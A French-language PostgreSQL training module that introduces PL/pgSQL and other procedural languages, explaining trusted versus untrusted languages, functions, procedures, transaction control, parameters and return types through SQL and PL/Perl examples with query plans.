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Le texte complet de la licence est disponible sur http://creativecommons.org/licenses/by-nc-sa/2.0/fr/legalcode

Cela inclut les diapositives, les manuels eux-mêmes et les travaux pratiques. Cette formation peut également contenir quelques images et schémas dont la redistribution est soumise à des licences différentes qui sont alors précisées.

Sur les versions précédentes susceptibles d’être encore rencontrées en production, seuls quelques points très importants sont évoqués, en plus éventuellement de quelques éléments historiques.

Sauf précision contraire, le système d’exploitation utilisé est Linux.

Ce module présente la programmation PL/pgSQL. Il commence par décrire les routines stockées et les différents langages disponibles. Puis il aborde les bases du langage PL/pgSQL, autrement dit :

• comment installer PL/pgSQL dans une base PostgreSQL ;
• comment créer un squelette de fonction ;
• comment déclarer des variables ;
• comment utiliser les instructions de base du langage ;
• comment créer et manipuler des structures ;
• comment passer une valeur de retour de la fonction à l’appelant.

PL est l’acronyme de « Procedural Languages ». En dehors du C et du SQL, tous les langages acceptés par PostgreSQL sont des PL.

Par défaut, trois langages sont installés et activés : C, SQL et PL/pgSQL.

Les quatre langages PL supportés nativement (en plus du C et du SQL bien sûr) sont décrits en détail dans la documentation officielle :

• PL/PgSQL est intégré par défaut dans toute nouvelle base (de par sa présence dans la base modèle template1) ;
• PL/Tcl (existe en version trusted et untrusted) ;
• PL/Perl (existe en version trusted et untrusted) ;
• PL/Python (uniquement en version untrusted).

D’autres langages PL sont accessibles en tant qu’extensions tierces. Les plus stables sont mentionnés dans la documentation, comme PL/Java ou PL/R. Ils réclament généralement d’installer les bibliothèques du langage sur le serveur.

Une liste plus large est par ailleurs disponible sur le wiki PostgreSQL, Il en ressort qu’au moins 16 langages sont disponibles, dont 10 installables en production. De plus, il est possible d’en ajouter d’autres, comme décrit dans la documentation.

Les langages de confiance ne peuvent accéder qu’à la base de données. Ils ne peuvent pas accéder aux autres bases, aux systèmes de fichiers, au réseau, etc. Ils sont donc confinés, ce qui les rend moins facilement utilisables pour compromettre le système. PL/pgSQL est l’exemple typique. Mais de ce fait, ils offrent moins de possibilités que les autres langages.

Seuls les superutilisateurs peuvent créer une routine dans un langage untrusted. Par contre, ils peuvent ensuite donner les droits d’exécution à ces routines aux autres rôles dans la base :

GRANT EXECUTE ON FUNCTION nom_fonction TO un_role ;

La question se pose souvent de placer la logique applicative du côté de la base, dans un langage PL, ou des clients. Il peut y avoir de nombreuses raisons en faveur de la première option. Simplifier et centraliser des traitements clients directement dans la base est l’argument le plus fréquent. Par exemple, une insertion complexe dans plusieurs tables, avec mise en place d’identifiants pour liens entre ces tables, peut évidemment être écrite côté client. Il est quelquefois plus pratique de l’écrire sous forme de PL. Les avantages sont :

Centralisation du code :

Si plusieurs applications ont potentiellement besoin d’opérer un même traitement, à fortiori dans des langages différents, porter cette logique dans la base réduit d’autant les risques de bugs et facilite la maintenance.

Une règle peut être que tout ce qui a trait à l’intégrité des données devrait être exécuté au niveau de la base.

Performances :

Le code s’exécute localement, directement dans le moteur de la base. Il n’y a donc pas tous les changements de contexte et échanges de messages réseaux dus à l’exécution de nombreux ordres SQL consécutifs. L’impact de la latence due au trafic réseau de la base au client est souvent sous-estimée.

Les langages PL permettent aussi d’accéder à leurs bibliothèques spécifiques (extrêmement nombreuses en python ou perl, entre autres).

Une fonction en PL peut également servir à l’indexation des données. Cela est impossible si elle se calcule sur une autre machine.

Simplicité :

Suivant le besoin, un langage PL peut être bien plus pratique que le langage client.

Il est par exemple très simple d’écrire un traitement d’insertion/mise à jour en PL/pgSQL, le langage étant créé pour simplifier ce genre de traitements, et la gestion des exceptions pouvant s’y produire. Si vous avez besoin de réaliser du traitement de chaîne puissant, ou de la manipulation de fichiers, PL/Perl ou PL/Python seront probablement des options plus intéressantes car plus performantes, là aussi utilisables dans la base.

La grande variété des différents langages PL supportés par PostgreSQL permet normalement d’en trouver un correspondant aux besoins et aux langages déjà maîtrisés dans l’entreprise.

Les langages PL permettent donc de rajouter une couche d’abstraction et d’effectuer des traitements avancés directement en base.

Le langage étant assez ancien, proche du Pascal et de l’ADA, sa syntaxe ne choquera personne. Elle est d’ailleurs très proche de celle du PLSQL d’Oracle.

Le PL/pgSQL permet d’écrire des requêtes directement dans le code PL sans déclaration préalable, sans appel à des méthodes complexes, ni rien de cette sorte. Le code SQL est mélangé naturellement au code PL, et on a donc un sur-ensemble procédural de SQL.

PL/pgSQL étant intégré à PostgreSQL, il hérite de tous les types déclarés dans le moteur, même ceux rajoutés par l’utilisateur. Il peut les manipuler de façon transparente.

PL/pgSQL est trusted. Tous les utilisateurs peuvent donc créer des routines dans ce langage (par défaut). Vous pouvez toujours soit supprimer le langage, soit retirer les droits à un utilisateur sur ce langage (via la commande SQL REVOKE).

PL/pgSQL est donc raisonnablement facile à utiliser : il y a peu de complications, peu de pièges, et il dispose d’une gestion des erreurs évoluée (gestion d’exceptions).

Les langages PL « autres », comme PL/perl et PL/Python (les deux plus utilisés après PL/pgSQL), sont bien plus évolués que PL/PgSQL. Par exemple, ils sont bien plus efficaces en matière de traitement de chaînes de caractères, possèdent des structures avancées comme des tables de hachage, permettent l’utilisation de variables statiques pour maintenir des caches, voire, pour leur version untrusted, peuvent effectuer des appels systèmes. Dans ce cas, il devient possible d’appeler un service web par exemple, ou d’écrire des données dans un fichier externe.

Il existe des langages PL spécialisés. Le plus emblématique d’entre eux est PL/R. R est un langage utilisé par les statisticiens pour manipuler de gros jeux de données. PL/R permet donc d’effectuer ces traitements R directement en base, traitements qui seraient très pénibles à écrire dans d’autres langages, et avec une latence dans le transfert des données.

Le gros défaut est simple et commun à tous ces langages : ils ne sont pas spécialement conçus pour s’exécuter en tant que langage de procédures stockées. Ce que vous utilisez quand vous écrivez du PL/Perl est donc du code Perl, avec quelques fonctions supplémentaires (préfixées par spi) pour accéder à la base de données ; de même en C. L’accès aux données est assez fastidieux au niveau syntaxique, comparé à PL/pgSQL.

Un autre problème des langages PL (autre que C et PL/pgSQL), est que ces langages n’ont pas les mêmes types natifs que PostgreSQL, et s’exécutent dans un interpréteur relativement séparé. Les performances sont donc moindres que PL/pgSQL et C, pour les traitements dont le plus consommateur est l’accès aux données. Souvent, le temps de traitement dans un de ces langages plus évolués est tout de même meilleur grâce au temps gagné par les autres fonctionnalités (la possibilité d’utiliser un cache, ou une table de hachage par exemple).

Les programmes écrits à l’aide des langages PL sont habituellement enregistrés sous forme de « routines » :

• procédures ;
• fonctions ;
• fonctions trigger ;
• fonctions d’agrégat ;
• fonctions de fenêtrage (window functions).

Le code source de ces objets est stocké dans la table pg_proc du catalogue.

Les procédures, apparues avec PostgreSQL 11, sont très similaires aux fonctions. Les principales différences entre les deux sont :

• Les fonctions doivent déclarer des arguments en sortie (RETURNS ou arguments OUT). Elles peuvent renvoyer n’importe quel type de donnée, ou des ensembles de lignes. Il est possible d’utiliser void pour une fonction sans argument de sortie ; c’était d’ailleurs la méthode utilisée pour émuler le comportement d’une procédure avant leur introduction avec PostgreSQL 11. Les procédures n’ont pas de code retour (on peut cependant utiliser des paramètres OUT ou INOUT).
• Les procédures offrent le support du contrôle transactionnel, c’est-à-dire la capacité de valider (COMMIT) ou annuler (ROLLBACK) les modifications effectuées jusqu’à ce point par la procédure. L’intégralité d’une fonction s’effectue dans la transaction appelante.
• Les procédures sont appelées exclusivement par la commande SQL CALL ; les fonctions peuvent être appelées dans la plupart des ordres DML/DQL (notamment SELECT), mais pas par CALL.
• Les fonctions peuvent être déclarées de telle manière qu’elles peuvent être utilisées dans des rôles spécifiques (trigger, agrégat ou fonction de fenêtrage).

Pour savoir si PL/Perl ou PL/Python a été compilé, on peut demander à pg_config :

pg_config --configure
'--prefix=/usr/local/pgsql-10_icu' '--enable-thread-safety'
'--with-openssl' '--with-libxml' '--enable-nls' '--with-perl' '--enable-debug'
'ICU_CFLAGS=-I/usr/local/include/unicode/'
'ICU_LIBS=-L/usr/local/lib -licui18n -licuuc -licudata' '--with-icu'

Si besoin, les emplacements exacts d’installation des bibliothèques peuvent être récupérés à l’aide des options --libdir et --pkglibdir de pg_config.

Cependant, dans les paquets fournis par le PGDG, il faudra installer explicitement le paquet dédié à plperl pour la version majeure de PostgreSQL concernée. Pour PostgreSQL 16, les paquets sont postgresql16-plperl (depuis yum.postgresql.org) ou postgresql-plperl-16 (depuis apt.postgresql.org). De même pour Python 3 (paquets postgresql14-plpython3 ou postgresql-plython3-14).

Les bibliothèques plperl.so, plpython3.so ou plpgsql.so contiennent les fonctions qui permettent l’utilisation de chaque langage. La bibliothèque nécessaire est chargée par le moteur à la première utilisation d’une procédure utilisant ce langage.

La plupart des langages intéressants sont disponibles sous forme de paquets. Des versions très récentes, ou des langages plus exotiques, peuvent nécessiter une compilation de l’extension.

Le langage est activé uniquement dans la base dans laquelle la commande est lancée. Il faudra donc répéter le CREATE EXTENSION dans chaque base au besoin (noter qu’activer un langage dans la base modèle template1 l’activera aussi pour toutes les bases créées par la suite, comme c’est déjà le cas pour le PL/pgSQL).

Pour voir les langages activés, utiliser la commande \dL qui reprend le contenu de la table système pg_language :

CREATE EXTENSION plperl ;
CREATE EXTENSION plpython3u ;
CREATE EXTENSION plsh ;
CREATE EXTENSION plr;

postgres=# \dL
                         Liste des langages
    Nom     | … | De confiance |                Description                
------------+---+--------------+-------------------------------------------
 plperl     | … | t            | PL/PerlU untrusted procedural language
 plpgsql    | … | t            | PL/pgSQL procedural language
 plpython3u | … | f            | PL/Python3U untrusted procedural language
 plr        | … | f            | 
 plsh       | … | f            | PL/sh procedural language

Noter la distinction entre les langages trusted (de confiance) et untrusted. Si un langage est trusted, tous les utilisateurs peuvent créer des procédures dans ce langage sans danger. Sinon seuls les superutilisateurs le peuvent.

Il existe par exemple deux variantes de PL/Perl : PL/Perl et PL/PerlU. La seconde est la variante untrusted et est un Perl « complet ». La version trusted n’a pas le droit d’ouvrir des fichiers, des sockets, ou autres appels systèmes qui seraient dangereux.

SQL, PL/pgSQL, PL/Tcl, PL/Perl (mais pas PL/Python) sont trusted et les utilisateurs peuvent les utiliser à volonté.

C, PL/TclU, PL/PerlU, et PL/Python3U sont untrusted. Un superutilisateur doit alors écrire les fonctions et procédures et opérer des GRANT EXECUTE aux utilisateurs.

Les fonctions simples peuvent être écrites en SQL pur. La syntaxe est plus claire, mais bien plus limitée qu’en PL/pgSQL (ni boucles, ni conditions, ni exceptions notamment).

À partir de PostgreSQL 14, il est possible de se passer des guillemets encadrants, pour les fonctions SQL uniquement. La même fonction devient donc :

CREATE OR REPLACE FUNCTION addition (entier1 integer, entier2 integer)
RETURNS integer
LANGUAGE sql
IMMUTABLE
RETURN entier1 + entier2 ;

Cette nouvelle écriture respecte mieux le standard SQL. Surtout, elle autorise un parsing et une vérification des objets impliqués dès la déclaration, et non à l’utilisation. Les dépendances entre fonctions et objets utilisés sont aussi mieux tracées.

L’avantage principal des fonctions en pur SQL est, si elles sont assez simples, leur intégration lors de la réécriture interne de la requête (inlining) : elles ne sont donc pas pour l’optimiseur des « boîtes noires ». À l’inverse, l’optimiseur ne sait rien du contenu d’une fonction PL/pgSQL.

Dans l’exemple suivant, la fonction sert de filtre à la requête. Comme elle est en pur SQL, elle permet d’utiliser l’index sur la colonne date_embauche de la table employes_big :

CREATE FUNCTION employe_eligible_prime_sql (service int, date_embauche date)
RETURNS boolean
LANGUAGE sql
AS $$
  SELECT ( service !=3 AND date_embauche < '2003-01-01')  ;
$$ ;

EXPLAIN (ANALYZE) SELECT matricule, num_service, nom, prenom
FROM    employes_big
WHERE   employe_eligible_prime_sql (num_service, date_embauche) ;

                            QUERY PLAN
---------------------------------------------------------------------------------
 Index Scan using employes_big_date_embauche_idx on employes_big
       (cost=0.42..1.54 rows=1 width=22) (actual time=0.008..0.009 rows=1 loops=1)
   Index Cond: (date_embauche < '2003-01-01'::date)
   Filter: (num_service <> 3)
   Rows Removed by Filter: 1
 Planning Time: 0.102 ms
 Execution Time: 0.029 ms

Avec une version de la même fonction en PL/pgSQL, le planificateur ne voit pas le critère indexé. Il n’a pas d’autre choix que de lire toute la table et d’appeler la fonction pour chaque ligne, ce qui est bien sûr plus lent :

CREATE FUNCTION employe_eligible_prime_pl (service int, date_embauche date)
RETURNS boolean
LANGUAGE plpgsql AS $$
BEGIN
 RETURN ( service !=3 AND date_embauche < '2003-01-01') ;
END ;
$$ ;

EXPLAIN (ANALYZE) SELECT matricule, num_service, nom, prenom
FROM employes_big
WHERE  employe_eligible_prime_pl (num_service, date_embauche) ;

                            QUERY PLAN
---------------------------------------------------------------------------------
 Seq Scan on employes_big   (cost=0.00..134407.90 rows=166338 width=22)
                            (actual time=0.069..269.121 rows=1 loops=1)
   Filter: employe_eligible_prime_pl(num_service, date_embauche)
   Rows Removed by Filter: 499014
 Planning Time: 0.038 ms
 Execution Time: 269.157 ms

Le wiki décrit les conditions pour que l’inlining des fonctions SQL fonctionne : obligation d’un seul SELECT, interdiction de certains fonctionnalités…

Dans cet exemple, on récupère l’estimation du nombre de lignes actives d’une table passée en paramètres.

L’intérêt majeur du PL/pgSQL et du SQL sur les autres langages est la facilité d’accès aux données. Ici, un simple SELECT <champ> INTO <variable> suffit à récupérer une valeur depuis une table dans une variable.

SELECT nb_lignes_table ('public', 'pgbench_accounts');

 nb_lignes_table
-----------------
        10000000

Voici l’exemple de la fonction :

CREATE OR REPLACE FUNCTION
    public.demo_insert_perl(nom_client text, titre_facture text)
 RETURNS integer
 LANGUAGE plperl
 STRICT
AS $function$
  use strict;
  my ($nom_client, $titre_facture)=@_;
  my $rv;
  my $id_facture;
  my $id_client;

  # Le client existe t'il ?
  $rv = spi_exec_query('SELECT id_client FROM mes_clients WHERE nom_client = '
    . quote_literal($nom_client)
  );
  # Sinon on le crée :
  if ($rv->{processed} == 0)
  {
    $rv = spi_exec_query('INSERT INTO mes_clients (nom_client) VALUES ('
        . quote_literal($nom_client) . ') RETURNING id_client'
    );
  }
  # Dans les deux cas, l'id client est dans $rv :
  $id_client=$rv->{rows}[0]->{id_client};

  # Insérons maintenant la facture
  $rv = spi_exec_query(
    'INSERT INTO mes_factures (titre_facture, id_client) VALUES ('
    . quote_literal($titre_facture) . ", $id_client ) RETURNING id_facture"
  );

  $id_facture = $rv->{rows}[0]->{id_facture};

  return $id_facture;
$function$ ;

Cette fonction n’est pas parfaite, elle ne protège pas de tout. Il est tout à fait possible d’avoir une insertion concurrente entre le SELECT et le INSERT par exemple.

Il est clair que l’accès aux données est malaisé en PL/Perl, comme dans la plupart des langages, puisqu’ils ne sont pas prévus spécifiquement pour cette tâche. Par contre, on dispose de toute la puissance de Perl pour les traitements de chaîne, les appels système…

PL/Perl, c’est :

• Perl, moins les fonctions pouvant accéder à autre chose qu’à PostgreSQL (il faut utiliser PL/PerlU pour passer outre cette limitation) ;
• un bloc de code anonyme appelé par PostgreSQL ;
• des fonctions d’accès à la base, spi_*

Pour éviter les conflits avec les objets de la base, il est conseillé de préfixer les variables.

CREATE OR REPLACE FUNCTION
public.demo_insert_plpgsql(p_nom_client text, p_titre_facture text)
 RETURNS integer
 LANGUAGE plpgsql
 STRICT
AS $function$
DECLARE
  v_id_facture int;
  v_id_client int;
BEGIN
  -- Le client existe t'il ?
  SELECT id_client
  INTO v_id_client
  FROM mes_clients
  WHERE nom_client = p_nom_client;

  -- Sinon on le crée :
  IF NOT FOUND THEN
    INSERT INTO mes_clients (nom_client)
    VALUES (p_nom_client)
    RETURNING id_client INTO v_id_client;
  END IF;

  -- Dans les deux cas, l'id client est maintenant dans v_id_client

  -- Insérons maintenant la facture
  INSERT INTO mes_factures (titre_facture, id_client)
  VALUES (p_titre_facture, v_id_client)
  RETURNING id_facture INTO v_id_facture;

  return v_id_facture;
END;
$function$ ;

Cette procédure tronque des tables de la base d’exemple pgbench, et annule si dry_run est vrai.

Les procédures sont récentes dans PostgreSQL (à partir de la version 11). Elles sont à utiliser quand on n’attend pas de résultat en retour. Surtout, elles permettent de gérer les transactions (COMMIT, ROLLBACK), ce qui ne peut se faire dans des fonctions, même si celles-ci peuvent modifier les données.

Comme pour les fonctions, il est possible d’utiliser le SQL pur dans les cas les plus simples, sans contrôle transactionnel notamment :

CREATE OR REPLACE PROCEDURE vide_tables ()
AS '
    TRUNCATE TABLE pgbench_history ;
    TRUNCATE TABLE pgbench_accounts CASCADE ;
    TRUNCATE TABLE pgbench_tellers  CASCADE ;
    TRUNCATE TABLE pgbench_branches CASCADE ;
' LANGUAGE sql;

Toujours pour les procédures en SQL, il existe une variante sans guillemets, à partir de PostgreSQL 14, mais qui ne supporte pas tous les ordres. Comme pour les fonctions, l’intérêt est la prise en compte des dépendances entre objets et procédures.

CREATE OR REPLACE PROCEDURE vide_tables ()
BEGIN ATOMIC
    DELETE FROM pgbench_history ;
    DELETE FROM pgbench_accounts ;
    DELETE FROM pgbench_tellers ;
    DELETE FROM pgbench_branches ;
END ;

Les blocs anonymes sont utiles pour des petits scripts ponctuels qui nécessitent des boucles ou du conditionnel, voire du transactionnel, sans avoir à créer une fonction ou une procédure. Ils ne renvoient rien. Ils sont habituellement en PL/pgSQL mais tout langage procédural installé est possible.

L’exemple ci-dessus lance un ANALYZE sur toutes les tables où les statistiques n’ont pas été calculées d’après la vue système, et donne aussi un exemple de SQL dynamique. Le résultat est par exemple :

NOTICE:  Analyze public.pgbench_history
NOTICE:  Analyze public.pgbench_tellers
NOTICE:  Analyze public.pgbench_accounts
NOTICE:  Analyze public.pgbench_branches
DO
Temps : 141,208 ms

(Pour ce genre de SQL dynamique, si l’on est sous psql , il est souvent plus pratique d’utiliser \gexec.)

Noter que les ordres constituent une transaction unique, à moins de rajouter des COMMIT ou ROLLBACK explicitement (ce n’est autorisé qu’à partir de la version 11).

Demander l’exécution d’une procédure se fait en utilisant un ordre SQL spécifique : CALL. Il suffit de fournir les paramètres. Il n’y a pas de code retour.

Les fonctions ne sont quant à elles pas directement compatibles avec la commande CALL, il faut les invoquer dans le contexte d’une commande SQL. Elles sont le plus couramment appelées depuis des commandes de type DML (SELECT, INSERT, etc.), mais on peut aussi les trouver dans d’autres commandes.

Voici quelques exemples :

• dans un SELECT (la fonction ne doit renvoyer qu’une seule ligne) :

  SELECT ma_fonction('arg1', 'arg2');

• dans un SELECT, en passant en argument les valeurs d’une colonne d’une table :

  SELECT ma_fonction(ma_colonne) FROM ma_table;

• dans le FROM d’un SELECT, la fonction renvoit ici généralement plusieurs lignes (SETOF), et un résultat de type RECORD :

  SELECT result FROM ma_fonction() AS f(result);

• dans un INSERT pour générer la valeur à insérer :

  INSERT INTO ma_table(ma_colonne) VALUES ( ma_fonction() );

• dans une création d’index (index fonctionnel, la fonction sera réellement appelée lors des mises à jour de l’index… attention la fonction doit être déclarée « immutable ») :

  CREATE INDEX ON ma_table ( ma_fonction(ma_colonne) );

• appel d’une fonction en paramètre d’une autre fonction ou d’une procédure, par exemple ici le résultat de la fonction ma_fonction() (qui doit renvoyer une seule ligne) est passé en argument d’entrée de la procédure ma_procedure() :

  CALL ma_procedure( ma_fonction() );

Par ailleurs, certaines fonctions sont spécialisées et ne peuvent être invoquées que dans le contexte pour lequel elles ont été conçues (fonctions trigger, d’agrégat, de fenêtrage, etc.).

Une procédure peut contenir des ordres COMMIT ou ROLLBACK pour du contrôle transactionnel. (À l’inverse une fonction est une transaction unique, ou opère dans une transaction.)

Voici un exemple validant ou annulant une insertion suivant que le nombre est pair ou impair :

CREATE TABLE test1 (a int) ;

CREATE OR REPLACE PROCEDURE transaction_test1()
LANGUAGE plpgsql
AS $$
BEGIN
  FOR i IN 0..5 LOOP
    INSERT INTO test1 (a) VALUES (i);
    IF i % 2 = 0 THEN
      COMMIT;
    ELSE
      ROLLBACK;
    END IF;
  END LOOP;
END
$$;

CALL transaction_test1();

SELECT * FROM test1;
 a | b
---+---
 0 |
 2 |
 4 |

Une exemple plus fréquemment utilisé est celui d’une procédure effectuant un traitement de modification des données par lots, et donc faisant un COMMIT à intervalle régulier.

Noter qu’il n’y a pas de BEGIN explicite dans la gestion des transactions. Après un COMMIT ou un ROLLBACK, un BEGIN est immédiatement exécuté.

On ne peut pas imbriquer des transactions, car PostgreSQL ne connaît pas les sous-transactions :

BEGIN ; CALL transaction_test1() ;

ERROR:  invalid transaction termination
CONTEXTE : PL/pgSQL function transaction_test1() line 6 at COMMIT

On ne peut pas utiliser en même temps une clause EXCEPTION et le contrôle transactionnel :

DO LANGUAGE plpgsql $$
BEGIN
  BEGIN
    INSERT INTO test1 (a) VALUES (1);
  COMMIT;
  INSERT INTO test1 (a) VALUES (1/0);
COMMIT;
EXCEPTION
  WHEN division_by_zero THEN
    RAISE NOTICE 'caught division_by_zero';
  END;
END;
$$;

ERREUR:  cannot commit while a subtransaction is active
CONTEXTE : fonction PL/pgSQL inline_code_block, ligne 5 à COMMIT

Voici la syntaxe complète pour une fonction d’après la documentation :

CREATE [ OR REPLACE ] FUNCTION
    name ( [ [ argmode ] [ argname ] argtype [ { DEFAULT | = } default_expr ] [, …] ] )
    [ RETURNS rettype
      | RETURNS TABLE ( column_name column_type [, …] ) ]
  { LANGUAGE lang_name
    | TRANSFORM { FOR TYPE type_name } [, … ]
    | WINDOW
    | { IMMUTABLE | STABLE | VOLATILE }
    | [ NOT ] LEAKPROOF
    | { CALLED ON NULL INPUT | RETURNS NULL ON NULL INPUT | STRICT }
    | { [ EXTERNAL ] SECURITY INVOKER | [ EXTERNAL ] SECURITY DEFINER }
    | PARALLEL { UNSAFE | RESTRICTED | SAFE }
    | COST execution_cost
    | ROWS result_rows
    | SUPPORT support_function
    | SET configuration_parameter { TO value | = value | FROM CURRENT }
    | AS 'definition'
    | AS 'obj_file', 'link_symbol'
    | sql_body
  } …

Voici la syntaxe complète pour une procédure d’après la documentation :

CREATE [ OR REPLACE ] PROCEDURE
    name ( [ [ argmode ] [ argname ] argtype [ { DEFAULT | = } default_expr ] [, …] ] )
  { LANGUAGE lang_name
    | TRANSFORM { FOR TYPE type_name } [, … ]
    | [ EXTERNAL ] SECURITY INVOKER | [ EXTERNAL ] SECURITY DEFINER
    | SET configuration_parameter { TO value | = value | FROM CURRENT }
    | AS 'definition'
    | AS 'obj_file', 'link_symbol'
    | sql_body
  } …

Noter qu’il n’y a pas de langage par défaut. Il est donc nécessaire de le spécifier à chaque création d’une routine comme dans les exemples ci-dessous.

Le langage PL/pgSQL n’est pas sensible à la casse, tout comme SQL (sauf les noms des objets ou variables, si vous les mettez entre des guillemets doubles). L’opérateur de comparaison est =, l’opérateur d’affectation :=

Une routine est composée d’un bloc de déclaration des variables locales et d’un bloc de code. Le bloc de déclaration commence par le mot clé DECLARE et se termine avec le mot clé BEGIN. Ce mot clé est celui qui débute le bloc de code. La fin est indiquée par le mot clé END.

Toutes les instructions se terminent avec des points-virgules. Attention, DECLARE, BEGIN et END ne sont pas des instructions.

Il est possible d’ajouter des commentaires. -- indique le début d’un commentaire qui se terminera en fin de ligne. Pour être plus précis dans la délimitation, il est aussi possible d’utiliser la notation C : /* est le début d’un commentaire et */ la fin.

Indiquer le nom d’un label ainsi :

<<mon_label>>
-- le code (blocs DECLARE, BEGIN-END, et EXCEPTION)

ou bien (pour une boucle)

[ <<mon_label>> ]
LOOP
    ordres …
END LOOP [ mon_label ];

Bien sûr, il est aussi possible d’utiliser des labels pour des boucles FOR, WHILE, FOREACH.

On sort d’un bloc ou d’une boucle avec la commande EXIT, on peut aussi utiliser CONTINUE pour passer à l’exécution suivante d’une boucle sans terminer l’itération courante.

Par exemple :

EXIT [mon_label] WHEN compteur > 1;

Une routine est surchargeable. La seule façon de les différencier est de prendre en compte les arguments (nombre et type). Les noms des arguments peuvent être indiqués mais ils seront ignorés.

Deux routines identiques aux arguments près (on parle de prototype) ne sont pas identiques, mais bien deux routines distinctes.

CREATE OR REPLACE a principalement pour but de modifier le code d’une routine, mais il est aussi possible de modifier les méta-données.

Toutes les méta-données discutées plus haut sont modifiables avec un ALTER.

La suppression se fait avec l’ordre DROP.

Une fonction pouvant exister en plusieurs exemplaires, avec le même nom et des arguments de type différents, il faudra parfois parfois préciser ces derniers.

Définir une fonction entre guillemets simples (') devient très pénible dès que la fonction doit en contenir parce qu’elle contient elle-même des chaînes de caractères. PostgreSQL permet de remplacer les guillemets par $$, ou tout mot encadré de $.

Par exemple, on peut reprendre la syntaxe de déclaration de la fonction addition() précédente en utilisant cette méthode :

CREATE FUNCTION addition (entier1 integer, entier2 integer)
RETURNS integer
LANGUAGE plpgsql
IMMUTABLE
AS $ma_fonction_addition$
DECLARE
  resultat integer;
BEGIN
  resultat := entier1 + entier2;
  RETURN resultat;
END
$ma_fonction_addition$;

Ce peut être utile aussi dans tout code réalisant une concaténation de chaînes de caractères contenant des guillemets. La syntaxe traditionnelle impose de les multiplier pour les protéger, et le code devient difficile à lire. :

requete := requete || '' AND vin LIKE ''''bordeaux%'''' AND xyz ''

En voilà une simplification grâce aux dollars :

requete := requete || $sql$ AND vin LIKE 'bordeaux%' AND xyz $sql$

Si vous avez besoin de mettre entre guillemets du texte qui inclut $$, vous pouvez utiliser $Q$, et ainsi de suite. Le plus simple étant de définir un marqueur de fin de routine plus complexe, par exemple incluant le nom de la fonction.

Ceci une forme de fonction très simple (et très courante) : deux paramètres en entrée (implicitement en entrée seulement), et une valeur en retour.

Dans le corps de la fonction, il est aussi possible d’utiliser une notation numérotée au lieu des noms de paramètre : le premier argument a pour nom $1, le deuxième $2, etc. C’est à éviter.

Tous les types sont utilisables, y compris les types définis par l’utilisateur. En dehors des types natifs de PostgreSQL, PL/pgSQL ajoute des types de paramètres spécifiques pour faciliter l’écriture des routines.

Si le mode d’un argument est omis, IN est la valeur implicite : la valeur en entrée ne sera pas modifiée par la fonction.

Un paramètre OUT sera modifié. S’il s’agit d’une variable d’un bloc PL appelant, sa valeur sera modifiée. Un paramètre INOUT est un paramètre en entrée qui peut être également modifié. (Jusque PostgreSQL 13 inclus, les procédures ne supportent pas les arguments OUT, seulement IN et INOUT.)

Dans le corps d’une fonction, RETURN est inutile avec des paramètres OUT parce que c’est la valeur des paramètres OUT à la fin de la fonction qui est retournée, comme dans l’exemple plus bas.

L’option VARIADIC permet de définir une fonction avec un nombre d’arguments libres à condition de respecter le type de l’argument (comme printf en C par exemple). Seul un argument OUT peut suivre un argument VARIADIC : l’argument VARIADIC doit être le dernier de la liste des paramètres en entrée puisque tous les paramètres en entrée suivant seront considérées comme faisant partie du tableau variadic. Seuls les arguments IN et VARIADIC sont utilisables avec une fonction déclarée comme renvoyant une table (clause RETURNS TABLE, voir plus loin).

La clause DEFAULT permet de rendre les paramètres optionnels. Après le premier paramètre ayant une valeur par défaut, tous les paramètres qui suivent doivent aussi avoir une valeur par défaut. Pour rendre le paramètre optionnel, il doit être le dernier argument ou alors les paramètres suivants doivent aussi avoir une valeur par défaut.

Le type de retour (clause RETURNS dans l’entête) est obligatoire pour les fonctions et interdit pour les procédures.

Avant la version 11, il n’était pas possible de créer une procédure, mais il était possible de créer une fonction se comportant globalement comme une procédure en utilisant le type de retour void.

Des exemples plus haut utilisent des types simples, mais tous ceux de PostgreSQL ou les types créés par l’utilisateur sont utilisables.

Depuis le corps de la fonction, le résultat est renvoyé par un appel à RETURN (PL/pgSQL) ou SELECT (SQL).

S’il y a besoin de renvoyer plusieurs valeurs à la fois, une première possibilité est de renvoyer un type composé défini auparavant.

Une alternative très courante est d’utiliser plusieurs paramètres OUT (et pas de clause RETURN dans l’entête) pour obtenir un enregistrement composite :

CREATE OR REPLACE FUNCTION explose_date
             (IN d date, OUT jour int, OUT mois int, OUT annee int)
AS $$
SELECT extract (day FROM d)::int,
                extract(month FROM d)::int, extract (year FROM d)::int
$$
LANGUAGE sql;

SELECT * FROM explose_date ('31-12-2020');

 jour | mois | annee
------+------+-------
   31 |    0 |  2020

(Noter que l’exemple ci-dessus est en simple SQL.)

La clause TABLE est une autre alternative, sans doute plus claire. Cet exemple devient alors, toujours en pur SQL :

CREATE OR REPLACE FUNCTION explose_date_table (d date)
RETURNS TABLE (jour integer, mois integer, annee integer)
LANGUAGE sql
AS $$
  SELECT  extract (day FROM d)::int,
                   extract(month FROM d)::int, extract (year FROM d)::int ;
$$ ;

RETURNS SETOF :

Pour renvoyer plusieurs lignes, la première possibilité est de déclarer un type de retour SETOF. Cet exemple utilise RETURN NEXT pour renvoyer les lignes une à une :

CREATE OR REPLACE FUNCTION liste_entiers_setof (limite int)
 RETURNS SETOF integer
 LANGUAGE plpgsql
AS $$
BEGIN
  FOR i IN 1..limite LOOP
    RETURN NEXT i;
  END LOOP;
END
$$ ;

SELECT * FROM liste_entiers_setof (3) ;

 liste_entiers_setof
---------------------
                   1
                   2
                   3

Renvoyer une structure existante :

S’il y a plusieurs champs à renvoyer, une possibilité est d’utiliser un type dédié (composé), qu’il faudra cependant créer auparavant. L’exemple suivant utilise aussi un RETURN QUERY pour éviter d’itérer sur toutes les lignes du résultat :

CREATE TYPE pgt AS (schemaname text, tablename text) ;

CREATE OR REPLACE FUNCTION tables_by_owner (p_owner text)
RETURNS SETOF pgt
LANGUAGE plpgsql
AS $$
BEGIN
  RETURN QUERY SELECT schemaname::text, tablename::text
               FROM pg_tables WHERE tableowner=p_owner
               ORDER BY tablename ;
END $$ ;

SELECT * FROM tables_by_owner ('pgbench');

 schemaname |    tablename
------------+------------------
 public     | pgbench_accounts
 public     | pgbench_branches
 public     | pgbench_history
 public     | pgbench_tellers

Si l’on veut renvoyer une structure correspondant exactement à une table ou vue, la syntaxe est très simple (il n’y a même pas besoin de %ROWTYPE) :

CREATE OR REPLACE FUNCTION  tables_jamais_analyzees ()
RETURNS SETOF pg_stat_user_tables
LANGUAGE sql
AS $$
  SELECT * FROM pg_stat_user_tables
  WHERE coalesce(last_analyze, last_autoanalyze) IS NULL ;
$$ ;

SELECT * FROM tables_jamais_analyzees() \gx

-[ RECORD 1 ]-------+------------------------------
